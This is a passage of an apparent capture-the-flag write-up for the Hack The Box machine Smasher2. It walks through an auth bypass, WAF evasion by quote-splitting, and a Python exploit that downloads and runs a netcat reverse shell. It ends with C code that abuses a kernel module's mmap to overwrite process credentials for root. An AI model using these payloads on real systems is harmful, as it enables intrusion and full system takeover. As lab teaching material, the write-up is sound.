return ret

@app.before_request
def before_request():
if request.path == "/":
if not session.has_key("id"):
k = get_secure_key()
safe_init_manager(k)
session["id"] = k
elif session.has_key("id") and not safe_have_manager(session["id"]):
del session["id"]
return redirect("/", 302)
else:
if session.has_key("id") and safe_have_manager(session["id"]):
pass
else:
return redirect("/", 302)

@app.after_request
def after_request(resp):
return resp


@app.route('/assets/<path:filename>')
def base_static(filename):
return send_from_directory(app.root_path + '/assets/', filename)


@app.route('/', methods=['GET'])
def index():
return render_template("index.html")


@app.route('/login', methods=['GET'])
def view_login():
return render_template("login.html")

@app.route('/auth', methods=['POST'])
def login():
ret = {"authenticated": None, "result": None}
manager = safe_get_manager(session["id"])
data = request.get_json(silent=True)
if data:
try:
tmp_login = dict(data["data"])
except:
pass
tmp_user_login = None
try:
is_logged = manager.check_login(data)
secret_token_info = ["/api/<api_key>/job", manager.secret_key, int(time.time())]
try:
tmp_user_login = {"username": tmp_login["username"], "password": tmp_login["password"]}
except:
pass
if not is_logged[0]:
ret["authenticated"] = False
ret["result"] = "Cannot authenticate with data: %s - %s" % (is_logged[1], "Too many tentatives, wait 2 minutes!" if manager.blocked else "Try again!")
else:
if tmp_user_login is not None:
log_creds(request.remote_addr, tmp_user_login)
ret["authenticated"] = True
ret["result"] = {"endpoint": secret_token_info[0], "key": secret_token_info[1], "creation_date": secret_token_info[2]}
except TypeError as e:
ret["authenticated"] = False
ret["result"] = str(e)
else:
ret["authenticated"] = False
ret["result"] = "Cannot authenticate missing parameters."
return jsonify(ret)


@app.route("/api/<key>/job", methods=['POST'])
def job(key):
ret = {"success": None, "result": None}
manager = safe_get_manager(session["id"])
if manager.secret_key == key:
data = request.get_json(silent=True)
if data and type(data) == dict:
if "schedule" in data:
out = subprocess.check_output(['bash', '-c', data["schedule"]])
ret["success"] = True
ret["result"] = out
else:
ret["success"] = False
ret["result"] = "Missing schedule parameter."
else:
ret["success"] = False
ret["result"] = "Invalid value provided."
else:
ret["success"] = False
ret["result"] = "Invalid token."
return jsonify(ret)


app.run(host='127.0.0.1', port=5000)

I read the code and these are the things that interest us:
After successful authentication the server will respond with a secret key that we can use to access the endpoint /api/<key>/job:

1
2
ret["authenticated"] = True
ret["result"] = {"endpoint": secret_token_info[0], "key": secret_token_info[1], "creation_date": secret_token_info[2]}
1
secret_token_info = ["/api/<api_key>/job", manager.secret_key, int(time.time())]

That endpoint only accepts POST requests:

1
@app.route("/api/<key>/job", methods=['POST'])

And the sent data has to be json:

1
2
3
data = request.get_json(silent=True)
if data and type(data) == dict:
...

Through that endpoint we can execute system commands by providing them in a parameter called schedule:

1
2
3
4
if "schedule" in data:
out = subprocess.check_output(['bash', '-c', data["schedule"]])
ret["success"] = True
ret["result"] = out

session.so: Analysis –> Authentication Bypass

session.so is a compiled shared python library, so stands for shared object:

1
2
3
root@kali:~/Desktop/HTB/boxes/smasher2/backup# file ses.so 
ses.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=0c67d40b77854318b10417b4aedfee95a52f0550, not stripped
root@kali:~/Desktop/HTB/boxes/smasher2/backup#

I opened it in ghidra and started checking the functions. Two functions caught my attention, get_internal_pwd() and get_internal_usr():

I looked at the decompiled code of both of them and noticed something strange, they were the exact same:
get_internal_pwd():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
undefined8 get_internal_pwd(undefined8 param_1)

{
long *plVar1;
undefined8 uVar2;

plVar1 = (long *)PyObject_GetAttrString(param_1,"user_login");
uVar2 = PyList_GetItem(plVar1,0);
uVar2 = PyString_AsString(uVar2);
*plVar1 = *plVar1 + -1;
if (*plVar1 == 0) {
(**(code **)(plVar1[1] + 0x30))(plVar1);
}
return uVar2;
}

get_internal_usr():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
undefined8 get_internal_usr(undefined8 param_1)

{
long *plVar1;
undefined8 uVar2;

plVar1 = (long *)PyObject_GetAttrString(param_1,"user_login");
uVar2 = PyList_GetItem(plVar1,0);
uVar2 = PyString_AsString(uVar2);
*plVar1 = *plVar1 + -1;
if (*plVar1 == 0) {
(**(code **)(plVar1[1] + 0x30))(plVar1);
}
return uVar2;
}
1
2
3
4
5
6
root@kali:~/Desktop/HTB/boxes/smasher2/backup# diff getinternalusr getinternalpwd 
1c1
< undefined8 get_internal_usr(undefined8 param_1)
---
> undefined8 get_internal_pwd(undefined8 param_1)
root@kali:~/Desktop/HTB/boxes/smasher2/backup#

So in theory, since the two function are identical, providing the username as a password should work. Which means that it’s just a matter of finding an existing username and we’ll be able to bypass the authentication.
I tried some common usernames before attempting to use wfuzz, Administrator worked:

WAF Bypass –> RCE –> Shell as dzonerzy –> Root Flag

I wrote a small script to execute commands through /api/<key>/job as we saw earlier in auth.py, the script was meant for testing purposes:

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python3
from requests import post

cookies = {"session":"eyJpZCI6eyIgYiI6Ik16UXpNakpoTVRVeVlqaGlNekJsWVdSbU9HTXlPV1kzTmprMk1XSTROV00xWkdVME5HTmxNQT09In19.XfNxUQ.MznJKgs2isklCZxfV4G0IjEPcvg"}

while True:
cmd = input("cmd: ")
req = post("http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job", json={"schedule":cmd}, cookies=cookies)
response = req.text
print(response)

Testing with whoami worked just fine:

1
2
3
4
5
root@kali:~/Desktop/HTB/boxes/smasher2# ./test.py 
cmd: whoami
{"result":"dzonerzy\n","success":true}

cmd:

However when I tried other commands I got a 403 response indicating that the server was protected by a WAF:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cmd: curl http://10.10.xx.xx
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job
on this server.<br />
</p>

<address>Apache/2.4.29 (Ubuntu) Server at wonderfulsessionmanager.smasher2.htb Port 80</address>
</body></html>

cmd:

I could easily bypass it by inserting single quotes in the command:

1
2
3
4
5
6
7
cmd: 'w'g'e't 'h't't'p':'/'/'1'0'.'1'0'.'x'x'.'x'x'/'t'e's't'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

cmd:
1
2
3
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.135 - - [13/Dec/2019 08:18:33] code 404, message File not found
10.10.10.135 - - [13/Dec/2019 08:18:33] "GET /test HTTP/1.1" 404 -

To automate the exploitation process I wrote this small exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python3 
import requests

YELLOW = "\033[93m"
GREEN = "\033[32m"

def getKey(session):
req = session.post("http://wonderfulsessionmanager.smasher2.htb/auth", json={"action":"auth","data":{"username":"Administrator","password":"Administrator"}})
response = req.json()
key = response['result']['key']
return key

def exploit(session, key):
download_payload = "\'w\'g\'e\'t \'h\'t\'t\'p\':\'/\'/\'1\'0\'.\'1\'0\'.\'x\'x\'.\'x\'x\'/\'s\'h\'e\'l\'l\'.\'s\'h\'"
print(YELLOW + "[+] Downloading payload")
download_req = session.post("http://wonderfulsessionmanager.smasher2.htb/api/{}/job".format(key), json={"schedule":download_payload})
print(GREEN + "[*] Done")
exec_payload = "s\'h\' \'s\'h\'e\'l\'l\'.\'s\'h"
print(YELLOW + "[+] Executing payload")
exec_req = session.post("http://wonderfulsessionmanager.smasher2.htb/api/{}/job".format(key), json={"schedule":exec_payload})
print(GREEN + "[*] Done. Exiting ...")
exit()

session = requests.Session()
session.get("http://wonderfulsessionmanager.smasher2.htb/login")
print(YELLOW +"[+] Authenticating")
key = getKey(session)
print(GREEN + "[*] Session: " + session.cookies.get_dict()['session'])
print(GREEN + "[*] key: " + key)
exploit(session, key)

The exploit sends 2 commands, the first one is a wget command that downloads shell.sh and the other one executes it.
shell.sh:

1
2
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f

I hosted it on a python server and I started a netcat listener on port 1337 then I ran the exploit:

We owned user.

dhid.ko: Enumeration

After getting a shell I copied my public ssh key to /home/dzonerzy/.ssh/authorized_keys and got ssh access.
In the home directory of dzonerzy there was a README containing a message from him saying that we’ll need to think outside the box to root smasher2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
dzonerzy@smasher2:~$ ls -al
total 44
drwxr-xr-x 6 dzonerzy dzonerzy 4096 Feb 17 2019 .
drwxr-xr-x 3 root root 4096 Feb 15 2019 ..
lrwxrwxrwx 1 dzonerzy dzonerzy 9 Feb 15 2019 .bash_history -> /dev/null
-rw-r--r-- 1 dzonerzy dzonerzy 220 Feb 15 2019 .bash_logout
-rw-r--r-- 1 dzonerzy dzonerzy 3799 Feb 16 2019 .bashrc
drwx------ 3 dzonerzy dzonerzy 4096 Feb 15 2019 .cache
drwx------ 3 dzonerzy dzonerzy 4096 Feb 15 2019 .gnupg
drwx------ 5 dzonerzy dzonerzy 4096 Feb 17 2019 .local
-rw-r--r-- 1 dzonerzy dzonerzy 807 Feb 15 2019 .profile
-rw-r--r-- 1 root root 900 Feb 16 2019 README
drwxrwxr-x 4 dzonerzy dzonerzy 4096 Dec 13 12:50 smanager
-rw-r----- 1 root dzonerzy 33 Feb 17 2019 user.txt
dzonerzy@smasher2:~$ cat README


.|'''.| '||
||.. ' .. .. .. .... .... || .. .... ... ..
''|||. || || || '' .|| ||. ' ||' || .|...|| ||' ''
. '|| || || || .|' || . '|.. || || || ||
|'....|' .|| || ||. '|..'|' |'..|' .||. ||. '|...' .||. v2.0

by DZONERZY

Ye you've come this far and I hope you've learned something new, smasher wasn't created
with the intent to be a simple puzzle game... but instead I just wanted to pass my limited
knowledge to you fellow hacker, I know it's not much but this time you'll need more than
skill, you will need to think outside the box to complete smasher 2 , have fun and happy

Hacking!

free(knowledge);
free(knowledge);
* error for object 0xd00000000b400: pointer being freed was not allocated *


dzonerzy@smasher2:~$

After some enumeration, I checked the auth log and saw this line:

1
2
3
4
5
6
7
8
9
dzonerzy@smasher2:~$ cat /var/log/auth.log
----------
Redacted
----------
Dec 13 11:49:34 smasher2 sudo: root : TTY=unknown ; PWD=/ ; USER=root ; COMMAND=/sbin/insmod /lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko
----------
Redacted
----------
dzonerzy@smasher2:~$

insmod (stands for insert module) is a tool used to load kernel modules. dhid.ko is a kernel module (ko stands for kernel object)

1
2
3
4
dzonerzy@smasher2:~$ cd /lib/modules/4.15.0-45-generic/kernel/drivers/hid/
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ file dhid.ko
dhid.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=d4315261f7c9c38393394f6779378abcff6270d2, not stripped
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$

I checked the loaded kernel modules and that module was still loaded:

1
2
3
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ lsmod | grep dhid
dhid 16384 0
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$

We can use modinfo to list the information about that module, as you can see it was written by dzonerzy:

1
2
3
4
5
6
7
8
9
10
11
12
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ modinfo dhid
filename: /lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko
version: 1.0
description: LKM for dzonerzy dhid devices
author: DZONERZY
license: GPL
srcversion: 974D0512693168483CADFE9
depends:
retpoline: Y
name: dhid
vermagic: 4.15.0-45-generic SMP mod_unload
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$

Last thing I wanted to check was if there was device driver file for the module:

1
2
3
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ ls -la /dev/ | grep dhid
crwxrwxrwx 1 root root 243, 0 Dec 13 11:49 dhid
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$

I downloaded the module on my box to start analyzing it:

1
2
3
4
5
root@kali:~/Desktop/HTB/boxes/smasher2# scp -i id_rsa [email protected]:/lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko ./ 
dhid.ko 100% 8872 16.1KB/s 00:00
root@kali:~/Desktop/HTB/boxes/smasher2# file dhid.ko
dhid.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=d4315261f7c9c38393394f6779378abcff6270d2, not stripped
root@kali:~/Desktop/HTB/boxes/smasher2#

dhid.ko: Analysis

I opened the module in ghidra then I started checking the functions:

The function dev_read() had a hint that this is the intended way to root the box:

1
2
3
4
5
6
7
8
9
long dev_read(undefined8 param_1,undefined8 param_2)

{
int iVar1;

__fentry__();
iVar1 = _copy_to_user(param_2,"This is the right way, please exploit this shit!",0x30);
return (ulong)(-(uint)(iVar1 == 0) & 0xf) - 0xe;
}

One interesting function that caught my attention was dev_mmap():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ulong dev_mmap(undefined8 param_1,long *param_2)

{
uint uVar1;
ulong uVar2;
uint uVar3;

__fentry__();
uVar3 = (int)param_2[1] - *(int *)param_2;
uVar1 = (uint)(param_2[0x13] << 0xc);
printk(&DAT_00100380,(ulong)uVar3,param_2[0x13] << 0xc & 0xffffffff);
if ((((int)uVar3 < 0x10001) && (uVar1 < 0x1001)) && ((int)(uVar3 + uVar1) < 0x10001)) {
uVar1 = remap_pfn_range(param_2,*param_2,(long)(int)uVar1,param_2[1] - *param_2,param_2[9]);
uVar2 = (ulong)uVar1;
if (uVar1 == 0) {
printk(&DAT_0010057b);
}
else {
uVar2 = 0xfffffff5;
printk(&DAT_00100567);
}
}
else {
uVar2 = 0xfffffff5;
printk(&DAT_001003b0);
}
return uVar2;
}

In case you don’t know what mmap is, simply mmap is a system call which is used to map memory to a file or a device. (Check this)
The function dev_mmap() is a custom mmap handler.
The interesting part here is the call to remap_pfn_range() function (remap kernel memory to userspace):

1
remap_pfn_range(param_2,*param_2,(long)(int)uVar1,param_2[1] - *param_2,param_2[9]);

I checked the documentation of remap_pfn_range() to know more about it, the function takes 5 arguments:

1
2
3
4
5
int remap_pfn_range (struct vm_area_struct * vma,
unsigned long addr,
unsigned long pfn,
unsigned long size,
pgprot_t prot);

Description of each argument:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct vm_area_struct * vma
user vma to map to

unsigned long addr
target user address to start at

unsigned long pfn
physical address of kernel memory

unsigned long size
size of map area

pgprot_t prot
page protection flags for this mapping

If we look at the function call again we can see that the 3rd and 4th arguments (physical address of the kernel memory and size of map area) are given to the function without any prior validation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ulong dev_mmap(undefined8 param_1,long *param_2)

{
uint uVar1;
ulong uVar2;
uint uVar3;

__fentry__();
uVar3 = (int)param_2[1] - *(int *)param_2;
uVar1 = (uint)(param_2[0x13] << 0xc);
printk(&DAT_00100380,(ulong)uVar3,param_2[0x13] << 0xc & 0xffffffff);
if ((((int)uVar3 < 0x10001) && (uVar1 < 0x1001)) && ((int)(uVar3 + uVar1) < 0x10001)) {
uVar1 = remap_pfn_range(param_2,*param_2,(long)(int)uVar1,param_2[1] - *param_2,param_2[9]);
...

This means that we can map any size of memory we want and read/write to it, allowing us to even access the kernel memory.

dhid.ko: Exploitation –> Root Shell –> Root Flag

Luckily, this white paper had a similar scenario and explained the exploitation process very well, I recommend reading it after finishing the write-up, I will try to explain the process as good as I can but the paper will be more detailed. In summary, what’s going to happen is that we’ll map a huge amount of memory and search through it for our process’s cred structure (The cred structure holds our process credentials) then overwrite our uid and gid with 0 and execute /bin/sh. Let’s go through it step by step.
First, we need to make sure that it’s really exploitable, we’ll try to map a huge amount of memory and check if it worked:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

int main(int argc, char * const * argv){

printf("[+] PID: %d\n", getpid());
int fd = open("/dev/dhid", O_RDWR);

if (fd < 0){
printf("[!] Open failed!\n");
return -1;
}

printf("[*] Open OK fd: %d\n", fd);

unsigned long size = 0xf0000000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);

if (addr == MAP_FAILED){
perror("[!] Failed to mmap");
close(fd);
return -1;
}

printf("[*] mmap OK address: %lx\n", addr);

int stop = getchar();
return 0;
}

I compiled the code and uploaded it to the box:

1
2
3
4
root@kali:~/Desktop/HTB/boxes/smasher2# gcc -o pwn pwn.c 
root@kali:~/Desktop/HTB/boxes/smasher2# scp -i id_rsa ./pwn [email protected]:/dev/shm/pwn
pwn 100% 17KB 28.5KB/s 00:00
root@kali:~/Desktop/HTB/boxes/smasher2#

Then I ran it:

1
2
3
4
dzonerzy@smasher2:/dev/shm$ ./pwn 
[+] PID: 8186
[*] Open OK fd: 3
[*] mmap OK address: 42424000

From another ssh session I checked the process memory mapping, the attempt was successful:

1
2
3
4
5
6
dzonerzy@smasher2:/dev/shm$ cat /proc/8186/maps 
42424000-132424000 rw-s 00000000 00:06 440 /dev/dhid
----------
Redacted
----------
dzonerzy@smasher2:/dev/shm$

Now we can start searching for the cred structure that belongs to our process, if we take a look at the how the cred structure looks like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
struct cred {
atomic_tusage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_tsubscribers;/* number of processes subscribed */
void*put_addr;
unsignedmagic;
#define CRED_MAGIC0x43736564
#define CRED_MAGIC_DEAD0x44656144
#endif
kuid_tuid;/* real UID of the task */
kgid_tgid;/* real GID of the task */
kuid_tsuid;/* saved UID of the task */
kgid_tsgid;/* saved GID of the task */
kuid_teuid;/* effective UID of the task */
kgid_tegid;/* effective GID of the task */
kuid_tfsuid;/* UID for VFS ops */
kgid_tfsgid;/* GID for VFS ops */
unsignedsecurebits;/* SUID-less security management */
kernel_cap_tcap_inheritable; /* caps our children can inherit */
kernel_cap_tcap_permitted;/* caps we're permitted */
kernel_cap_tcap_effective;/* caps we can actually use */
kernel_cap_tcap_bset;/* capability bounding set */
kernel_cap_tcap_ambient;/* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned charjit_keyring;/* default keyring to attach requested
* keys to */
struct key*session_keyring; /* keyring inherited over fork */
struct key*process_keyring; /* keyring private to this process */
struct key*thread_keyring; /* keyring private to this thread */
struct key*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void*security;/* subjective LSM security */
#endif
struct user_struct *user;/* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info;/* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu;/* Can we skip RCU deletion? */
struct rcu_headrcu;/* RCU deletion hook */
};
}

We’ll notice that the first 8 integers (representing our uid, gid, saved uid, saved gid, effective uid, effective gid, uid and gid for the virtual file system) are known to us, which represents a reliable pattern to search for in the memory:

1
2
3
4
5
6
7
8
kuid_tuid;/* real UID of the task */
kgid_tgid;/* real GID of the task */
kuid_tsuid;/* saved UID of the task */
kgid_tsgid;/* saved GID of the task */
kuid_teuid;/* effective UID of the task */
kgid_tegid;/* effective GID of the task */
kuid_tfsuid;/* UID for VFS ops */
kgid_tfsgid;/* GID for VFS ops */

These 8 integers are followed by a variable called securebits:

1
unsigned    securebits; /* SUID-less security management */

Then that variable is followed by our capabilities:

1
2
3
4
5
kernel_cap_t    cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */

Since we know the first 8 integers we can search through the memory for that pattern, when we find a valid cred structure pattern we’ll overwrite each integer of the 8 with a 0 and check if our uid changed to 0, we’ll keep doing it until we overwrite the one which belongs to our process, then we’ll overwrite the capabilities with 0xffffffffffffffff and execute /bin/sh. Let’s try to implement the search for cred structures first.
To do that we will get our uid with getuid():

1
unsigned int uid = getuid();

Then search for 8 consecutive integers that are equal to our uid, when we find a cred structure we’ll print its pointer and keep searching:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
while (((unsigned long)addr) < (mmapStart + size - 0x40)){
credIt = 0;
if(
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid
){
credNum++;
printf("[*] Cred structure found! ptr: %p, crednum: %d\n", addr, credNum);
}

addr++;

}

pwn.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <stdio.h>                                                                          
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

int main(int argc, char * const * argv){

printf("[+] PID: %d\n", getpid());

int fd = open("/dev/dhid", O_RDWR);

if (fd < 0){
printf("[!] Open failed!\n");
return -1;
}

printf("[*] Open OK fd: %d\n", fd);

unsigned long size = 0xf0000000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);

if (addr == MAP_FAILED){
perror("[!] Failed to mmap");
close(fd);
return -1;
}

printf("[*] mmap OK address: %lx\n", addr);

unsigned int uid = getuid();

printf("[*] Current UID: %d\n", uid);

unsigned int credIt = 0;
unsigned int credNum = 0;

while (((unsigned long)addr) < (mmapStart + size - 0x40)){
credIt = 0;
if(
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid
){
credNum++;
printf("[*] Cred structure found! ptr: %p, crednum: %d\n", addr, credNum);
}

addr++;

}

fflush(stdout);

int stop = getchar();
return 0;
}

It worked:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
dzonerzy@smasher2:/dev/shm$ ./pwn 
[+] PID: 1215
[*] Open OK fd: 3
[*] mmap OK address: 42424000
[*] Current UID: 1000
[*] Cred structure found! ptr: 0x76186484, crednum: 1
[*] Cred structure found! ptr: 0x76186904, crednum: 2
[*] Cred structure found! ptr: 0x76186b44, crednum: 3
[*] Cred structure found! ptr: 0x76186cc4, crednum: 4
[*] Cred structure found! ptr: 0x76186d84, crednum: 5
[*] Cred structure found! ptr: 0x76186fc4, crednum: 6
[*] Cred structure found! ptr: 0x761872c4, crednum: 7
[*] Cred structure found! ptr: 0x76187684, crednum: 8
[*] Cred structure found! ptr: 0x76187984, crednum: 9
[*] Cred structure found! ptr: 0x76187b04, crednum: 10
[*] Cred structure found! ptr: 0x76187bc4, crednum: 11
[*] Cred structure found! ptr: 0x76187c84, crednum: 12
[*] Cred structure found! ptr: 0x77112184, crednum: 13
[*] Cred structure found! ptr: 0x771123c4, crednum: 14
[*] Cred structure found! ptr: 0x77112484, crednum: 15
[*] Cred structure found! ptr: 0x771129c4, crednum: 16
[*] Cred structure found! ptr: 0x77113084, crednum: 17
[*] Cred structure found! ptr: 0x77113144, crednum: 18
[*] Cred structure found! ptr: 0x77113504, crednum: 19
[*] Cred structure found! ptr: 0x77113c84, crednum: 20
[*] Cred structure found! ptr: 0x7714a604, crednum: 21
[*] Cred structure found! ptr: 0x7714aa84, crednum: 22
[*] Cred structure found! ptr: 0x7714ac04, crednum: 23
[*] Cred structure found! ptr: 0x7714afc4, crednum: 24
[*] Cred structure found! ptr: 0x7714ba44, crednum: 25
[*] Cred structure found! ptr: 0xb9327bc4, crednum: 26

dzonerzy@smasher2:/dev/shm$

Now we need to overwrite the cred structure that belongs to our process, we’ll keep overwriting every cred structure we find and check our uid, when we overwrite the one that belongs to our process our uid should be 0:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
credIt = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;

if (getuid() == 0){
printf("[*] Process cred structure found ptr: %p, crednum: %d\n", addr, credNum);
break;
}

pwn.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#include <stdio.h>                                                                          
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

int main(int argc, char * const * argv){

printf("[+] PID: %d\n", getpid());
int fd = open("/dev/dhid", O_RDWR);

if (fd < 0){
printf("[!] Open failed!\n");
return -1;
}

printf("[*] Open OK fd: %d\n", fd);

unsigned long size = 0xf0000000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);

if (addr == MAP_FAILED){
perror("Failed to mmap: ");
close(fd);
return -1;
}

printf("[*] mmap OK address: %lx\n", addr);

unsigned int uid = getuid();

printf("[*] Current UID: %d\n", uid);

unsigned int credIt = 0;
unsigned int credNum = 0;

while (((unsigned long)addr) < (mmapStart + size - 0x40)){

credIt = 0;

if(
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid
){
credNum++;

printf("[*] Cred structure found! ptr: %p, crednum: %d\n", addr, credNum);

credIt = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;

if (getuid() == 0){
printf("[*] Process cred structure found ptr: %p, crednum: %d\n", addr, credNum);
break;
}

else{
credIt = 0;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
}
}

addr++;
}

fflush(stdout);

int stop = getchar();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
dzonerzy@smasher2:/dev/shm$ ./pwn 
[+] PID: 4773
[*] Open OK fd: 3
[*] mmap OK address: 42424000
[*] Current UID: 1000
[*] Cred structure found! ptr: 0x76186484, crednum: 1
[*] Cred structure found! ptr: 0x76186904, crednum: 2
[*] Cred structure found! ptr: 0x76186b44, crednum: 3
[*] Cred structure found! ptr: 0x76186cc4, crednum: 4
[*] Cred structure found! ptr: 0x76186fc4, crednum: 5
[*] Cred structure found! ptr: 0x76187684, crednum: 6
[*] Cred structure found! ptr: 0x76187bc4, crednum: 7
[*] Cred structure found! ptr: 0x77112184, crednum: 8
[*] Cred structure found! ptr: 0x771123c4, crednum: 9
[*] Cred structure found! ptr: 0x77112484, crednum: 10
[*] Cred structure found! ptr: 0x771129c4, crednum: 11
[*] Cred structure found! ptr: 0x77113084, crednum: 12
[*] Cred structure found! ptr: 0x77113144, crednum: 13
[*] Cred structure found! ptr: 0x77113504, crednum: 14
[*] Cred structure found! ptr: 0x77113c84, crednum: 15
[*] Cred structure found! ptr: 0x7714a484, crednum: 16
[*] Cred structure found! ptr: 0x7714a604, crednum: 17
[*] Cred structure found! ptr: 0x7714a6c4, crednum: 18
[*] Cred structure found! ptr: 0x7714a844, crednum: 19
[*] Cred structure found! ptr: 0x7714a9c4, crednum: 20
[*] Cred structure found! ptr: 0x7714aa84, crednum: 21
[*] Cred structure found! ptr: 0x7714ac04, crednum: 22
[*] Cred structure found! ptr: 0x7714ad84, crednum: 23
[*] Process cred structure found ptr: 0x7714ad84, crednum: 23

dzonerzy@smasher2:/dev/shm$

Great! now what’s left to do is to overwrite the capabilities in our cred structure with 0xffffffffffffffff and execute /bin/sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
credIt += 1; 
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
